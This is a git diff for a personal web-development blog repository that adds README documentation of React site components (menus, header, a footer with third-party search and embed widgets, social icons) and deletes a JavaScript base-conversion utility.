+    ├── cycler.js
+    ├── getData.js
+    ├── getPage.js
+    ├── getPageByFilePath.js
+    ├── getPages.js
+    ├── htmlToReact.js
+    ├── index.js
+    ├── link.js
+    ├── markdownify.js
+    ├── pathJoin.js
+    ├── toStyleObj.js
+    ├── toUrl.js
+    └── withPrefix.js
+
+32 directories, 272 files
+```
+
+</details>
+
+<details>
+<summary>  Click To See Component Sourcecode  </summary>
+
+## Component Structure
+
+```
+.
+├── ActionLink.js
+├── CtaButtons.js
+├── DarkToggle
+│     ├── index.js
+│     └── styles.js
+├── DocsMenu.js
+├── DocsSubmenu.js
+├── Footer.js
+├── Header.js
+├── Icon.js
+├── Layout.js
+├── SectionContent.js
+├── SectionCta.js
+├── SectionDocs.js
+├── SectionGrid.js
+├── SectionHero.js
+├── Submenu.js
+├── global.css
+└── index.js
+
+```
+
+---
+
+```js
+import React from 'react';
+import _ from 'lodash';
+
+
+import { Link, withPrefix, classNames } from '../utils';
+import Icon from './Icon';
+
+export default class ActionLink extends React.Component {
+    render() {
+        let action = _.get(this.props, 'action', null);
+        return (
+            <Link
+                to={withPrefix(_.get(action, 'url', null))}
+                {...(_.get(action, 'new_window', null) ? { target: '_blank' } : null)}
+                {...(_.get(action, 'new_window', null) || _.get(action, 'no_follow', null)
+                    ? {
+                          rel: (_.get(action, 'new_window', null) ? 'noopener ' : '') + (_.get(action, 'no_follow', null) ? 'nofollow' : '')
+                      }
+                    : null)}
+                className={classNames({
+                    button: _.get(action, 'style', null) !== 'link',
+                    'button-secondary': _.get(action, 'style', null) === 'secondary',
+                    'button-icon': _.get(action, 'style', null) === 'icon'
+                })}
+            >
+                {_.get(action, 'style', null) === 'icon' && _.get(action, 'icon_class', null) ? (
+                    <React.Fragment>
+                        <Icon {...this.props} icon={_.get(action, 'icon_class', null)} />
+                        <span className="screen-reader-text"> {_.get(action, 'label', null)}</span>
+                    </React.Fragment>
+                ) : (
+                    _.get(action, 'label', null)
+                )}
+            </Link>
+        );
+    }
+}
+```
+
+---
+### Table of Contents
+
+-   [getPage][1]
+    -   [Parameters][2]
+-   [getPageByFilePath][3]
+    -   [Parameters][4]
+-   [getPages][5]
+    -   [Parameters][6]
+    -   [Examples][7]
+
+## getPage
+
+Get the page at the provided `urlPath`.
+
+### Parameters
+
+-   `pages` **[Array][8]** Array of page objects. All pages must have 'url' field.
+-   `urlPath` **[string][9]** The url path to find the page by
+
+Returns **[Object][10]**
+
+## getPageByFilePath
+
+Get the page at the provided `filePath`.
+
+### Parameters
+
+-   `pages` **[Array][8]** Array of page objects. All pages must have 'url' field.
+-   `filePath` **[string][9]** The file path to find the page by
+
+Returns **[Object][10]**
+
+## getPages
+
+Get all the pages located under the provided `urlPath`, not including the
+index page. I.e.: All pages having their URLs start with `urlPath` excluding
+the page having its URL equal to `urlPath`.
+
+### Parameters
+
+-   `pages` **[Array][8]** Array of page objects. All pages must have 'url' field.
+-   `urlPath` **[string][9]** The url path to filter pages by
+
+### Examples
+
+```javascript
+pages => [
+  {url: '/'},
+  {url: '/about'},
+  {url: '/posts'},
+  {url: '/posts/hello'},
+  {url: '/posts/world'}
+]
+
+getPages(pages, /posts')
+=> [
+  {url: '/posts/hello'},
+  {url: '/posts/world'}
+]
+```
+
+Returns **[Array][8]**
+
+[1]: #getpage
+[2]: #parameters
+[3]: #getpagebyfilepath
+[4]: #parameters-1
+[5]: #getpages
+[6]: #parameters-2
+[7]: #examples
+[8]: https://developer.mozilla.org/docs/Web/JavaScript/Reference/Global_Objects/Array
+[9]: https://developer.mozilla.org/docs/Web/JavaScript/Reference/Global_Objects/String
+[10]: https://developer.mozilla.org/docs/Web/JavaScript/Reference/Global_Objects/Object
+
+
+
+```js
+import React from 'react';
+import _ from 'lodash';
+
+
+import { Link, withPrefix, classNames } from '../utils';
+
+export default class CtaButtons extends React.Component {
+    render() {
+        let actions = _.get(this.props, 'actions', null);
+        return _.map(actions, (action, action_idx) => (
+            <Link
+                key={action_idx}
+                to={withPrefix(_.get(action, 'url', null))}
+                {...(_.get(action, 'new_window', null) ? { target: '_blank' } : null)}
+                {...(_.get(action, 'new_window', null) || _.get(action, 'no_follow', null)
+                    ? {
+                          rel: (_.get(action, 'new_window', null) ? 'noopener ' : '') + (_.get(action, 'no_follow', null) ? 'nofollow' : '')
+                      }
+                    : null)}
+                className={classNames({
+                    button: _.get(action, 'style', null) === 'primary' || _.get(action, 'style', null) === 'secondary',
+                    'button-secondary': _.get(action, 'style', null) === 'secondary'
+                })}
+            >
+                {_.get(action, 'label', null)}
+            </Link>
+        ));
+    }
+}
+```
+
+---
+
+```js
+import React from 'react';
+import _ from 'lodash';
+
+
+import { getPage, classNames, Link, withPrefix, pathJoin, getPages } from '../utils';
+import DocsSubmenu from './DocsSubmenu';
+
+export default class DocsMenu extends React.Component {
+    render() {
+        let site = _.get(this.props, 'site', null);
+        let page = _.get(this.props, 'page', null);
+        let root_docs_path = _.get(site, 'data.doc_sections.root_docs_path', null);
+        let root_page = getPage(this.props.pageContext.pages, root_docs_path);
+        return (
+            <nav id="docs-nav" className="docs-nav">
+                <div id="docs-nav-inside" className="docs-nav-inside sticky">
+                    <button id="docs-nav-toggle" className="docs-nav-toggle">
+                        Navigate Docs
+                        <span className="icon-angle-right" aria-hidden="true" />
+                    </button>
+                    <div className="docs-nav-menu">
+                        <ul id="docs-menu" className="docs-menu">
+                            <li
+                                className={classNames('docs-menu-item', {
+                                    current: _.get(page, 'url', null) === _.get(root_page, 'url', null)
+                                })}
+                            >
+                                <Link to={withPrefix(_.get(root_page, 'url', null))}> {_.get(root_page, 'frontmatter.title', null)}</Link>
+                            </li>
+                            {_.map(_.get(site, 'data.doc_sections.sections', null), (section, section_idx) => {
+                                let section_path = pathJoin(root_docs_path, section);
+                                let section_page = getPage(this.props.pageContext.pages, section_path);
+                                let child_pages = _.orderBy(getPages(this.props.pageContext.pages, section_path), 'frontmatter.weight');
+                                let child_count = _.size(child_pages);
+                                let has_children = child_count > 0 ? true : false;
+                                let is_current_page = _.get(page, 'url', null) === _.get(section_page, 'url', null) ? true : false;
+                                let is_active = _.get(page, 'url', null).startsWith(_.get(section_page, 'url', null));
+                                return (
+                                    <React.Fragment key={section_idx + '.1'}>
+                                        <li
+                                            key={section_idx}
+                                            className={classNames('docs-menu-item', {
+                                                'has-children': has_children,
+                                                current: is_current_page,
+                                                active: is_active
+                                            })}
+                                        >
+                                            <Link to={withPrefix(_.get(section_page, 'url', null))}> {_.get(section_page, 'frontmatter.title', null)}</Link>
+                                            {has_children && (
+                                                <React.Fragment>
+                                                    <button className="docs-submenu-toggle">
+                                                        <span className="screen-reader-text"> Submenu</span>
+                                                        <span className="icon-angle-right" aria-hidden="true" />
+                                                    </button>
+                                                    <DocsSubmenu {...this.props} child_pages={child_pages} page={page} site={site} />
+                                                </React.Fragment>
+                                            )}
+                                        </li>
+                                    </React.Fragment>
+                                );
+                            })}
+                        </ul>
+                    </div>
+                </div>
+            </nav>
+        );
+    }
+}
+```
+
+---
+
+```js
+import React from 'react';
+import _ from 'lodash';
+
+
+import { classNames, Link, withPrefix } from '../utils';
+
+export default class DocsSubmenu extends React.Component {
+    render() {
+        let child_pages = _.get(this.props, 'child_pages', null);
+        let page = _.get(this.props, 'page', null);
+        return (
+            <ul className="docs-submenu">
+                {_.map(child_pages, (child_page, child_page_idx) => (
+                    <li
+                        key={child_page_idx}
+                        className={classNames('docs-menu-item', {
+                            current: _.get(page, 'url', null) === _.get(child_page, 'url', null)
+                        })}
+                    >
+                        <Link to={withPrefix(_.get(child_page, 'url', null))}> {_.get(child_page, 'frontmatter.title', null)}</Link>
+                    </li>
+                ))}
+            </ul>
+        );
+    }
+}
+```
+
+---
+
+```js
+import _ from 'lodash';
+import React from 'react';
+
+import { htmlToReact } from '../utils';
+import ActionLink from './ActionLink';
+import addScript from './../hooks/addScript';
+const Script = (props) => {
+    importScript('./../hooks/addScript.js');
+};
+export default class Footer extends React.Component {
+    render() {
+        return (
+            <footer id="colophon" className="site-footer outer">
+                <div>
+                    <center>
+                        <br />
+
+                        <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@algolia/algoliasearch-netlify-frontend@1/dist/algoliasearchNetlify.css" />
+
+                        <br />
+
+                        <table cellPadding={0} cellSpacing={0} border={0}>
+                            <tbody>
+                                <tr>
+                                    <td
+                                        style={{
+                                            fontFamily: 'Arial, Helvetica, sans-serif',
+                                            fontSize: '7.5pt'
+                                        }}
+                                    >
+                                        <center>
+                                            <table
+                                                width="95%"
+                                                cellPadding={0}
+                                                cellSpacing={0}
+                                                border={0}
+                                                style={{
+                                                    fontFamily: 'Arial, Helvetica, sans-serif',
+                                                    fontSize: '7.5pt'
+                                                }}
+                                            >
+                                                <tbody>
+                                                    <tr>
+                                                        <td
+                                                            style={{
+                                                                fontFamily: 'Arial, Helvetica, sans-serif',
+                                                                fontSize: '7.5pt'
+                                                            }}
+                                                            align="left"
+                                                        >
+                                                            <a target="_blank" href="https://search.freefind.com/siteindex.html?si=14588965">
+                                                                index
+                                                            </a>
+                                                        </td>
+                                                        <td
+                                                            style={{
+                                                                fontFamily: 'Arial, Helvetica, sans-serif',
+                                                                fontSize: '7.5pt'
+                                                            }}
+                                                            align="center"
+                                                        >
+                                                            <a target="_blank" href="https://search.freefind.com/find.html?si=14588965&m=0&p=0">
+                                                                sitemap
+                                                            </a>
+                                                        </td>
+                                                        <td
+                                                            style={{
+                                                                fontFamily: 'Arial, Helvetica, sans-serif',
+                                                                fontSize: '7.5pt'
+                                                            }}
+                                                            align="right"
+                                                        >
+                                                            <a target="_blank" href="https://search.freefind.com/find.html?si=14588965&pid=a">
+                                                                advanced
+                                                            </a>
+                                                        </td>
+                                                    </tr>
+                                                </tbody>
+                                            </table>
+                                        </center>
+
+                                        <form
+                                            style={{
+                                                margin: '0px',
+                                                marginTop: '2px'
+                                            }}
+                                            action="https://search.freefind.com/find.html"
+                                            method="get"
+                                            acceptCharset="utf-8"
+                                            target="_self"
+                                        >
+                                            <input type="hidden" name="si" defaultValue={14588965} />
+                                            <input type="hidden" name="pid" defaultValue="r" />
+                                            <input type="hidden" name="n" defaultValue={0} />
+                                            <input type="hidden" name="_charset_" defaultValue />
+                                            <input type="hidden" name="bcd" defaultValue="÷" />
+                                            <input type="text" name="query" size={15} />
+                                            <input type="submit" defaultValue="search" />
+                                        </form>
+                                    </td>
+                                </tr>
+                                <tr>
+                                    <td
+                                        style={{
+                                            textAlign: 'center',
+                                            fontFamily: 'Arial, Helvetica, sans-serif',
+                                            fontSize: '7.5pt',
+                                            paddingTop: '4px'
+                                        }}
+                                    >
+                                        <a
+                                            style={{
+                                                textDecoration: 'none',
+                                                color: 'transparent'
+                                            }}
+                                            href="https://www.freefind.com"
+                                            rel="nofollow"
+                                        >
+                                            search engine
+                                        </a>
+                                        <a
+                                            style={{
+                                                textDecoration: 'none',
+                                                color: 'transparent'
+                                            }}
+                                            href="https://www.freefind.com"
+                                            rel="nofollow"
+                                        >
+                                            by
+                                            <span style={{ color: 'transparent' }}> freefind</span>
+                                        </a>
+                                        {
+                                            <iframe
+                                                src="https://bgoonz.github.io/fb-and-twitter-api-embeds/"
+                                                frameborder="0"
+                                                id="social-embed"
+                                                width="100%!important"
+                                            >
+                                                {' '}
+                                            </iframe>
+                                        }
+                                    </td>
+                                </tr>
+                            </tbody>
+                        </table>
+                        <a href="//pdfcrowd.com/url_to_pdf/?" onclick="if(!this.p)href+='&url='+encodeURIComponent(location.href);this.p=1">
+                            Save to PDF
+                        </a>
+                    </center>
+                </div>
+
+                <div className="inner">
+                    <div id="search" className="inner">
+                        {' '}
+                    </div>
+                    <div className="site-footer-inside">
+                        <p className="site-info">
+                            {_.get(this.props, 'pageContext.site.siteMetadata.footer.content', null) && (
+                                <span className="copyright"> {htmlToReact(_.get(this.props, 'pageContext.site.siteMetadata.footer.content', null))}</span>
+                            )}
+                            {_.map(_.get(this.props, 'pageContext.site.siteMetadata.footer.links', null), (action, action_idx) => (
+                                <ActionLink key={action_idx} {...this.props} action={action} />
+                            ))}{' '}
+                        </p>
+                        {_.get(this.props, 'pageContext.site.siteMetadata.footer.has_social', null) && (
+                            <div className="social-links">
+                                {_.map(_.get(this.props, 'pageContext.site.siteMetadata.footer.social_links', null), (action, action_idx) => (
+                                    <ActionLink key={action_idx} {...this.props} action={action} />
+                                ))}{' '}
+                            </div>
+                        )}{' '}
+                    </div>
+                </div>
+            </footer>
+        );
+    }
+}
+```
+
+---
+
+```js
+import React from 'react';
+import _ from 'lodash';
+
+
+import { Link, withPrefix, classNames } from '../utils';
+import ActionLink from './ActionLink';
+import Submenu from './Submenu';
+
+export default class Header extends React.Component {
+    render() {
+        return (
+            <header id="masthead" className="site-header outer">
+                {/* <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@algolia/algoliasearch-netlify-frontend@1/dist/algoliasearchNetlify.css" />  */}
+
+                <br />
+
+                <div className="inner">
+                    <div className="site-header-inside">
+                        <div className="site-branding">
+                            {_.get(this.props, 'pageContext.site.siteMetadata.header.logo_img', null) ? (
+                                <p className="site-logo">
+                                    <Link to={withPrefix(_.get(this.props, 'pageContext.site.siteMetadata.header.url', null) || '/')}>
+                                        <img
+                                            src={withPrefix(_.get(this.props, 'pageContext.site.siteMetadata.header.logo_img', null))}
+                                            alt={_.get(this.props, 'pageContext.site.siteMetadata.header.logo_img_alt', null)}
+                                        />
+                                    </Link>
+                                </p>
+                            ) : (
+                                <p className="site-title">
+                                    {' '}
+                                    WebDevHub
+                                    <Link to={withPrefix(_.get(this.props, 'pageContext.site.siteMetadata.header.url', null) || '/')}>
+                                        {_.get(this.props, 'pageContext.site.siteMetadata.header.title', null)}
+                                    </Link>
+                                </p>
+                            )}
+                        </div>
+                        <div id="search" className="inner">
+                            {' '}
+                        </div>
+                        {_.get(this.props, 'pageContext.site.siteMetadata.header.has_nav', null) && (
+                            <React.Fragment>
+                                <nav id="main-navigation" className="site-navigation" aria-label="Main Navigation">
+                                    <div className="site-nav-inside">
+                                        <button id="menu-close" className="menu-toggle">
+                                            <span className="screen-reader-text"> Open Menu</span>
+                                            <span className="icon-close" aria-hidden="true" />
+                                        </button>
+                                        <ul className="menu">
+                                            {_.map(_.get(this.props, 'pageContext.site.siteMetadata.header.nav_links', null), (action, action_idx) => {
+                                                let page_url = _.trim(_.get(this.props, 'pageContext.url', null), '/');
+                                                let action_url = _.trim(_.get(action, 'url', null), '/');
+                                                return (
+                                                    <li
+                                                        key={action_idx}
+                                                        className={classNames('menu-item', {
+                                                            'has-children': _.get(action, 'has_subnav', null) && _.get(action, 'subnav_links', null),
+                                                            current: page_url === action_url,
+                                                            'menu-button': _.get(action, 'style', null) !== 'link'
+                                                        })}
+                                                    >
+                                                        <ActionLink {...this.props} action={action} />
+                                                        {_.get(action, 'has_subnav', null) && _.get(action, 'subnav_links', null) && (
+                                                            <React.Fragment>
+                                                                <button className="submenu-toggle">
+                                                                    <span className="icon-angle-right" aria-hidden="true" />
+                                                                    <span className="screen-reader-text"> Sub-menu</span>
+                                                                </button>
+                                                                <Submenu
+                                                                    {...this.props}
+                                                                    submenu={_.get(action, 'subnav_links', null)}
+                                                                    menu_class={'submenu'}
+                                                                    page={this.props.pageContext}
+                                                                />
+                                                            </React.Fragment>
+                                                        )}
+                                                    </li>
+                                                );
+                                            })}
+                                        </ul>
+                                    </div>
+                                </nav>
+                                <button id="menu-open" className="menu-toggle">
+                                    <span className="screen-reader-text"> Close Menu</span>
+                                    <span className="icon-menu" aria-hidden="true" />
+                                </button>
+                            </React.Fragment>
+                        )}
+                    </div>
+                </div>
+
+                <div>
+                    <a className="github-corner" href="https://github.com/bgoonz/BGOONZ_BLOG_2.0" aria-label="View source on Github">
+                        <svg
+                            aria-hidden="true"
+                            width={40}
+                            height={40}
+                            viewBox="0 0 250 250"
+                            style={{
+                                zIndex: 100000,
+                                fill: 'black',
+                                color: '#fff',
+                                position: 'fixed',
+                                top: '0px',
+                                border: 0,
+                                left: '0px',
+                                transform: 'scale(-1.5, 1.5)'
+                            }}
+                        >
+                            <path d="M0,0 L115,115 L130,115 L142,142 L250,250 L250,0 Z"> </path>
+                            <path
+                                className="octo-arm"
+                                d="M128.3,109.0 C113.8,99.7 119.0,89.6 119.0,89.6 C122.0,82.7 120.5,78.6 120.5,78.6 C119.2,72.0 123.4,76.3 123.4,76.3 C127.3,80.9 125.5,87.3 125.5,87.3 C122.9,97.6 130.6,101.9 134.4,103.2"
+                                fill="currentColor"
+                                style={{ transformOrigin: '130px 106px' }}
+                            >
+                                {' '}
+                            </path>
+                            <path
+                                className="octo-body"
+                                d="M115.0,115.0 C114.9,115.1 118.7,116.5 119.8,115.4 L133.7,101.6 C136.9,99.2 139.9,98.4 142.2,98.6 C133.8,88.0 127.5,74.4 143.8,58.0 C148.5,53.4 154.0,51.2 159.7,51.0 C160.3,49.4 163.2,43.6 171.4,40.1 C171.4,40.1 176.1,42.5 178.8,56.2 C183.1,58.6 187.2,61.8 190.9,65.4 C194.5,69.0 197.7,73.2 200.1,77.6 C213.8,80.2 216.3,84.9 216.3,84.9 C212.7,93.1 206.9,96.0 205.4,96.6 C205.1,102.4 203.0,107.8 198.3,112.5 C181.9,128.9 168.3,122.5 157.7,114.1 C157.9,116.9 156.7,120.9 152.7,124.9 L141.0,136.5 C139.8,137.7 141.6,141.9 141.8,141.8 Z"
+                                fill="currentColor"
+                            >
+                                {' '}
+                            </path>
+                        </svg>
+                    </a>
+                </div>
+            </header>
+        );
+    }
+}
+```
+
+---
+
+```js
+import React from 'react';
+import _ from 'lodash';
+
+export default class Icon extends React.Component {
+    render() {
+        let icon = _.get(this.props, 'icon', null);
+        return (
+            <svg className="icon" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
+                {icon === 'dev' ? (
+                    <path d="M7.42 10.05c-.18-.16-.46-.23-.84-.23H6l.02 2.44.04 2.45.56-.02c.41 0 .63-.07.83-.26.24-.24.26-.36.26-2.2 0-1.91-.02-1.96-.29-2.18zM0 4.94v14.12h24V4.94H0zM8.56 15.3c-.44.58-1.06.77-2.53.77H4.71V8.53h1.4c1.67 0 2.16.18 2.6.9.27.43.29.6.32 2.57.05 2.23-.02 2.73-.47 3.3zm5.09-5.47h-2.47v1.77h1.52v1.28l-.72.04-.75.03v1.77l1.22.03 1.2.04v1.28h-1.6c-1.53 0-1.6-.01-1.87-.3l-.3-.28v-3.16c0-3.02.01-3.18.25-3.48.23-.31.25-.31 1.88-.31h1.64v1.3zm4.68 5.45c-.17.43-.64.79-1 .79-.18 0-.45-.15-.67-.39-.32-.32-.45-.63-.82-2.08l-.9-3.39-.45-1.67h.76c.4 0 .75.02.75.05 0 .06 1.16 4.54 1.26 4.83.04.15.32-.7.73-2.3l.66-2.52.74-.04c.4-.02.73 0 .73.04 0 .14-1.67 6.38-1.8 6.68z" />
+                ) : icon === 'facebook' ? (
+                    <path d="M23.998 12c0-6.628-5.372-12-11.999-12C5.372 0 0 5.372 0 12c0 5.988 4.388 10.952 10.124 11.852v-8.384H7.078v-3.469h3.046V9.356c0-3.008 1.792-4.669 4.532-4.669 1.313 0 2.686.234 2.686.234v2.953H15.83c-1.49 0-1.955.925-1.955 1.874V12h3.328l-.532 3.469h-2.796v8.384c5.736-.9 10.124-5.864 10.124-11.853z" />
+                ) : icon === 'github' ? (
+                    <path d="M12 .297c-6.63 0-12 5.373-12 12 0 5.303 3.438 9.8 8.205 11.385.6.113.82-.258.82-.577 0-.285-.01-1.04-.015-2.04-3.338.724-4.042-1.61-4.042-1.61C4.422 18.07 3.633 17.7 3.633 17.7c-1.087-.744.084-.729.084-.729 1.205.084 1.838 1.236 1.838 1.236 1.07 1.835 2.809 1.305 3.495.998.108-.776.417-1.305.76-1.605-2.665-.3-5.466-1.332-5.466-5.93 0-1.31.465-2.38 1.235-3.22-.135-.303-.54-1.523.105-3.176 0 0 1.005-.322 3.3 1.23.96-.267 1.98-.399 3-.405 1.02.006 2.04.138 3 .405 2.28-1.552 3.285-1.23 3.285-1.23.645 1.653.24 2.873.12 3.176.765.84 1.23 1.91 1.23 3.22 0 4.61-2.805 5.625-5.475 5.92.42.36.81 1.096.81 2.22 0 1.606-.015 2.896-.015 3.286 0 .315.21.69.825.57C20.565 22.092 24 17.592 24 12.297c0-6.627-5.373-12-12-12" />
+                ) : icon === 'instagram' ? (
+                    <path d="M12 0C8.74 0 8.333.015 7.053.072 5.775.132 4.905.333 4.14.63c-.789.306-1.459.717-2.126 1.384S.935 3.35.63 4.14C.333 4.905.131 5.775.072 7.053.012 8.333 0 8.74 0 12s.015 3.667.072 4.947c.06 1.277.261 2.148.558 2.913a5.885 5.885 0 001.384 2.126A5.868 5.868 0 004.14 23.37c.766.296 1.636.499 2.913.558C8.333 23.988 8.74 24 12 24s3.667-.015 4.947-.072c1.277-.06 2.148-.262 2.913-.558a5.898 5.898 0 002.126-1.384 5.86 5.86 0 001.384-2.126c.296-.765.499-1.636.558-2.913.06-1.28.072-1.687.072-4.947s-.015-3.667-.072-4.947c-.06-1.277-.262-2.149-.558-2.913a5.89 5.89 0 00-1.384-2.126A5.847 5.847 0 0019.86.63c-.765-.297-1.636-.499-2.913-.558C15.667.012 15.26 0 12 0zm0 2.16c3.203 0 3.585.016 4.85.071 1.17.055 1.805.249 2.227.415.562.217.96.477 1.382.896.419.42.679.819.896 1.381.164.422.36 1.057.413 2.227.057 1.266.07 1.646.07 4.85s-.015 3.585-.074 4.85c-.061 1.17-.256 1.805-.421 2.227a3.81 3.81 0 01-.899 1.382 3.744 3.744 0 01-1.38.896c-.42.164-1.065.36-2.235.413-1.274.057-1.649.07-4.859.07-3.211 0-3.586-.015-4.859-.074-1.171-.061-1.816-.256-2.236-.421a3.716 3.716 0 01-1.379-.899 3.644 3.644 0 01-.9-1.38c-.165-.42-.359-1.065-.42-2.235-.045-1.26-.061-1.649-.061-4.844 0-3.196.016-3.586.061-4.861.061-1.17.255-1.814.42-2.234.21-.57.479-.96.9-1.381.419-.419.81-.689 1.379-.898.42-.166 1.051-.361 2.221-.421 1.275-.045 1.65-.06 4.859-.06l.045.03zm0 3.678a6.162 6.162 0 100 12.324 6.162 6.162 0 100-12.324zM12 16c-2.21 0-4-1.79-4-4s1.79-4 4-4 4 1.79 4 4-1.79 4-4 4zm7.846-10.405a1.441 1.441 0 01-2.88 0 1.44 1.44 0 012.88 0z" />
+                ) : icon === 'linkedin' ? (
+                    <path d="M20.447 20.452h-3.554v-5.569c0-1.328-.027-3.037-1.852-3.037-1.853 0-2.136 1.445-2.136 2.939v5.667H9.351V9h3.414v1.561h.046c.477-.9 1.637-1.85 3.37-1.85 3.601 0 4.267 2.37 4.267 5.455v6.286zM5.337 7.433a2.062 2.062 0 01-2.063-2.065 2.064 2.064 0 112.063 2.065zm1.782 13.019H3.555V9h3.564v11.452zM22.225 0H1.771C.792 0 0 .774 0 1.729v20.542C0 23.227.792 24 1.771 24h20.451C23.2 24 24 23.227 24 22.271V1.729C24 .774 23.2 0 22.222 0h.003z" />
+                ) : icon === 'pinterest' ? (
+                    <path d="M12.017 0C5.396 0 .029 5.367.029 11.987c0 5.079 3.158 9.417 7.618 11.162-.105-.949-.199-2.403.041-3.439.219-.937 1.406-5.957 1.406-5.957s-.359-.72-.359-1.781c0-1.663.967-2.911 2.168-2.911 1.024 0 1.518.769 1.518 1.688 0 1.029-.653 2.567-.992 3.992-.285 1.193.6 2.165 1.775 2.165 2.128 0 3.768-2.245 3.768-5.487 0-2.861-2.063-4.869-5.008-4.869-3.41 0-5.409 2.562-5.409 5.199 0 1.033.394 2.143.889 2.741.099.12.112.225.085.345-.09.375-.293 1.199-.334 1.363-.053.225-.172.271-.401.165-1.495-.69-2.433-2.878-2.433-4.646 0-3.776 2.748-7.252 7.92-7.252 4.158 0 7.392 2.967 7.392 6.923 0 4.135-2.607 7.462-6.233 7.462-1.214 0-2.354-.629-2.758-1.379l-.749 2.848c-.269 1.045-1.004 2.352-1.498 3.146 1.123.345 2.306.535 3.55.535 6.607 0 11.985-5.365 11.985-11.987C23.97 5.39 18.592.026 11.985.026L12.017 0z" />
+                ) : icon === 'reddit' ? (
+                    <path d="M12 0A12 12 0 0 0 0 12a12 12 0 0 0 12 12 12 12 0 0 0 12-12A12 12 0 0 0 12 0zm5.01 4.744c.688 0 1.25.561 1.25 1.249a1.25 1.25 0 0 1-2.498.056l-2.597-.547-.8 3.747c1.824.07 3.48.632 4.674 1.488.308-.309.73-.491 1.207-.491.968 0 1.754.786 1.754 1.754 0 .716-.435 1.333-1.01 1.614a3.111 3.111 0 0 1 .042.52c0 2.694-3.13 4.87-7.004 4.87-3.874 0-7.004-2.176-7.004-4.87 0-.183.015-.366.043-.534A1.748 1.748 0 0 1 4.028 12c0-.968.786-1.754 1.754-1.754.463 0 .898.196 1.207.49 1.207-.883 2.878-1.43 4.744-1.487l.885-4.182a.342.342 0 0 1 .14-.197.35.35 0 0 1 .238-.042l2.906.617a1.214 1.214 0 0 1 1.108-.701zM9.25 12C8.561 12 8 12.562 8 13.25c0 .687.561 1.248 1.25 1.248.687 0 1.248-.561 1.248-1.249 0-.688-.561-1.249-1.249-1.249zm5.5 0c-.687 0-1.248.561-1.248 1.25 0 .687.561 1.248 1.249 1.248.688 0 1.249-.561 1.249-1.249 0-.687-.562-1.249-1.25-1.249zm-5.466 3.99a.327.327 0 0 0-.231.094.33.33 0 0 0 0 .463c.842.842 2.484.913 2.961.913.477 0 2.105-.056 2.961-.913a.361.361 0 0 0 .029-.463.33.33 0 0 0-.464 0c-.547.533-1.684.73-2.512.73-.828 0-1.979-.196-2.512-.73a.326.326 0 0 0-.232-.095z" />
+                ) : icon === 'twitter' ? (
+                    <path d="M23.954 4.569a10 10 0 01-2.825.775 4.958 4.958 0 002.163-2.723c-.951.555-2.005.959-3.127 1.184a4.92 4.92 0 00-8.384 4.482C7.691 8.094 4.066 6.13 1.64 3.161a4.822 4.822 0 00-.666 2.475c0 1.71.87 3.213 2.188 4.096a4.904 4.904 0 01-2.228-.616v.061a4.923 4.923 0 003.946 4.827 4.996 4.996 0 01-2.212.085 4.937 4.937 0 004.604 3.417 9.868 9.868 0 01-6.102 2.105c-.39 0-.779-.023-1.17-.067a13.995 13.995 0 007.557 2.209c9.054 0 13.999-7.496 13.999-13.986 0-.209 0-.42-.015-.63a9.936 9.936 0 002.46-2.548l-.047-.02z" />
+                ) : icon === 'youtube' ? (
+                    <path d="M23.495 6.205a3.007 3.007 0 00-2.088-2.088c-1.87-.501-9.396-.501-9.396-.501s-7.507-.01-9.396.501A3.007 3.007 0 00.527 6.205a31.247 31.247 0 00-.522 5.805 31.247 31.247 0 00.522 5.783 3.007 3.007 0 002.088 2.088c1.868.502 9.396.502 9.396.502s7.506 0 9.396-.502a3.007 3.007 0 002.088-2.088 31.247 31.247 0 00.5-5.783 31.247 31.247 0 00-.5-5.805zM9.609 15.601V8.408l6.264 3.602z" />
+                ) : (
+                    icon === 'vimeo' && (
+                        <path d="M23.977 6.416c-.105 2.338-1.739 5.543-4.894 9.609-3.268 4.247-6.026 6.37-8.29 6.37-1.409 0-2.578-1.294-3.553-3.881L5.322 11.4C4.603 8.816 3.834 7.522 3.01 7.522c-.179 0-.806.378-1.881 1.132L0 7.197a315.065 315.065 0 003.501-3.128C5.08 2.701 6.266 1.984 7.055 1.91c1.867-.18 3.016 1.1 3.447 3.838.465 2.953.789 4.789.971 5.507.539 2.45 1.131 3.674 1.776 3.674.502 0 1.256-.796 2.265-2.385 1.004-1.589 1.54-2.797 1.612-3.628.144-1.371-.395-2.061-1.614-2.061-.574 0-1.167.121-1.777.391 1.186-3.868 3.434-5.757 6.762-5.637 2.473.06 3.628 1.664 3.493 4.797l-.013.01z" />
+                    )
+                )}
+            </svg>
+        );
+    }
+}
+```
diff --git a/docs/content/DS_ALGO/algorithms/Conversions/ArbitraryBase.js b/docs/content/DS_ALGO/algorithms/Conversions/ArbitraryBase.js
deleted file mode 100644
index d66ec555da..0000000000
--- a/docs/content/DS_ALGO/algorithms/Conversions/ArbitraryBase.js
+++ /dev/null
@@ -1,46 +0,0 @@
-/**
- * Converts a string from one base to other
- * @param {string} stringInBaseOne String in input base
- * @param {string} baseOneCharacters Character set for the input base
- * @param {string} baseTwoCharacters Character set for the output base
- * @returns {string}
- */
-const convertArbitraryBase = (stringInBaseOne, baseOneCharacters, baseTwoCharacters) => {
-    if ([stringInBaseOne, baseOneCharacters, baseTwoCharacters].map((arg) => typeof arg).some((type) => type !== 'string')) {
-        throw new TypeError('Only string arguments are allowed');
-    }
-    [baseOneCharacters, baseTwoCharacters].forEach((baseString) => {
-        const charactersInBase = [...baseString];
-        if (charactersInBase.length !== new Set(charactersInBase).size) {
-            throw new TypeError('Duplicate characters in character set are not allowed');
-        }
-    });
-    const reversedStringOneChars = [...stringInBaseOne].reverse();
-    const stringOneBase = baseOneCharacters.length;
-    let value = 0;
-    let placeValue = 1;
-    for (const digit of reversedStringOneChars) {
-        const digitNumber = baseOneCharacters.indexOf(digit);
-        if (digitNumber === -1) {
-            throw new TypeError(`Not a valid character: ${digit}`);
-        }
-        value += digitNumber * placeValue;
-        placeValue *= stringOneBase;
-    }
-    let stringInBaseTwo = '';
-    const stringTwoBase = baseTwoCharacters.length;
-    while (value > 0) {
-        const remainder = value % stringTwoBase;
-        stringInBaseTwo = baseTwoCharacters.charAt(remainder) + stringInBaseTwo;
-        value /= stringTwoBase;
-    }
-    const baseTwoZero = baseTwoCharacters.charAt(0);
-    return stringInBaseTwo.replace(new RegExp(`^${baseTwoZero}+`), '');
-};
-export { convertArbitraryBase };
-// > convertArbitraryBase('98', '0123456789', '01234567')
-// '142'
